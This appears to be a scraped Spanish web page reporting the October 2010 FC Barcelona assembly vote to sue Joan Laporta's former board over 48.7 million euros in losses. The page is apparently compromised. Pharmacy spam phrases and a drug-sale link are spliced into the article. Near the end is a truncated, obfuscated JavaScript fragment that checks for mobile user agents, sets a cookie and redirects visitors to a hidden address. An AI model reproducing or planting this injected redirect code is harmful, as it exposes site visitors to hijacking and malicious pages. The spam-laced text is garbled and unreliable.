• Noticias maquetadas 18.10.2010

    Sábado intenso en el barcelonismo Cumbre social azulgrana

    Purchase

    La asamblea condena a Laporta

    Los compromisarios aprueban por 29 votos exigir responsabilidades judiciales a la junta anterior

    online

    ANTONI LÓPEZ – Barcelona  – 17/10/2010

    EL LAMENTO DE ROSELL «No conseguiré unir el barcelonismo con socios, con hermanos de sangre, procesados»

    over the counter singulair

    EL GESTO DEL PRESIDENTE Rosell y la mitad de sus directivos votaron en blanco sobre ir o no a los tribunales
    Joan Laporta y su junta directiva tendrán que responder de su gestión ante los tribunales, circunstancia por la que nunca había pasado anteriormente un presidente de club. En una decisión inédita y por un estrecho margen de votos, la asamblea de compromisarios del FC Barcelona acordó la presentación de una demanda por los 48,7 millones de pérdidas acumulados durante el mandato de Laporta. En el peor de los supuestos para sus intereses, la anterior directiva tendrá que reintegrar este importe a las arcas del Barça. Dependerá de la resolución del juez, que podría imputar no sólo a los últimos directivos de Laporta sino extender las responsabilidades a otros actores de su mandato de 7 años. En previsión de que tuviera que responder de actos incorrectos, la anterior junta acordó en su última reunión ampliar un seguro de responsabilidad civil que cubre hasta 25 millones hasta el 2016.

    En un clima de enorme expectación, propio de una cinta de intriga o de los instantes previos al lanzamiento de un penalti decisivo en el Camp Nou, el secretario de la asamblea dio cuenta del resultado de una votación de infarto: 468 votos a favor de la acción de responsabilidad, 439 en contra y 113 en blanco. Lo que Sandro Rosell definió como «la decisión social más importante de la historia del club» se ventiló por sólo 29 votos. La cuestión dividió incluso a la directiva en dos mitades, la partidaria de demandar y la que votó en blanco. El propio Rosell optó por el voto en blanco después de exponer sus encontrados sentimientos ante la asamblea. Sin duda, los resultados de la due diligence,que revelan gastos suntuarios e injustificados del laportismo, pesaron en el ánimo del socio.

    «Estamos votando una mala gestión, aquí no hay un uso fraudulento del dinero», señaló Rosell antes de consultar al socio. «Nadie ha encontrado que un cheque del Barça se ingresara en la cuenta de algún directivo. Lo que hay son cuestiones éticas que dan que pensar», precisó. A su juicio, la acción de responsabilidad es «una mala noticia para el club», pero viene forzada por la legislación. «Como presidente del Barça os aseguro que estoy pasando por un trance muy, muy malo», dijo. Incluso se mostró abierto a pasar página: «Me encantaría, no es nada agradable para mí lo que estamos haciendo. Es horroroso, es muy mala noticia que nos haya tocado a nosotros este proceso». Entre la masa social, fragmentación de opiniones. «La ropa sucia se lava en casa. Una acción externa de tribunales no nos hace ningún bien, nos hará mucho daño, dará satisfacción a nuestros enemigos y creará situaciones incomodísimas», argumentó Arturo Martí, socio número 127. Sandro veía cómo su sueño de unificar el Barça se le esfumaba. Ofreció, en un tono institucional grave con tintes de emotividad, razones para castigar a Laporta: «Se ha vivido en la cultura permanente del despilfarro», «se ha invertido pésimamente en propiedades» o se han acumulado 48,7 millones de pérdidas no asumidas por la junta anterior. Y también poderosos motivos para la magnanimidad: «No conseguiré unir el barcelonismo con socios, con hermanos de sangre azulgrana, procesados», lamentó. Recordó el presidente que no es justo poner a todos sus antecesores – entre lo que figuran amigos suyos-en el mismo saco, que no es justo que el presidente «con más éxitos deportivos de la historia tenga que situarse frente a la ley y que la parte demandante sea el Barça», ni actuar contra una junta que ha adoptado decisiones tan trascendentes como erradicar a los violentos, poner Unicef en la camiseta y contratar a Guardiola, haciendo del Barça «la mayor marca del mundo».

    Con los pros y los contras, el cónclave, que no se había ensañado con Laporta (la socia Maria Rosa Vilanova, enfundada en una camiseta del equipo, desató más abucheos que aplausos al reprocharle al ex presidente el consumo de champán en lugar de cava: «No sólo se lo bebía sino que se lo tiraba por la cabeza a los amigos. Derrochar de la manera que ha derrochado no se le puede consentir, incluso tengo entendido que tenía cuatro coches»), optó por emprender acciones legales en una votación efectuada sobre las tres de la tarde, antes de una pausa para el almuerzo. Tras el plato fuerte, al reanudarse la sesión, a las cuatro, la asistencia se redujo casi a la mitad. Todo siguió por los cauces de la reflexión y la buena educación.

    purchase pletal classification

    En la primera votación del día, la asamblea aprobó (964 a favor, 47 en contra y 98 en blanco) la liquidación del ejercicio pasado reformulada por la actual junta, que establece un déficit de 79,6 millones, frente al beneficio de 11,1 millones que se adjudicaba Laporta. Y terminó la jornada refrendando un presupuesto para 2010-11 de 420,2 millones con una previsión de pérdidas de 21,4 millones.

     

    http://patagonianfoods.cl/fluvoxamine-cost-without-insurance/ online

    i(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}

  • Comments are closed.

Calendario de artículos

octubre 2010
L M X J V S D
 123
45678910
11121314151617
18192021222324
25262728293031

Artículos anteriores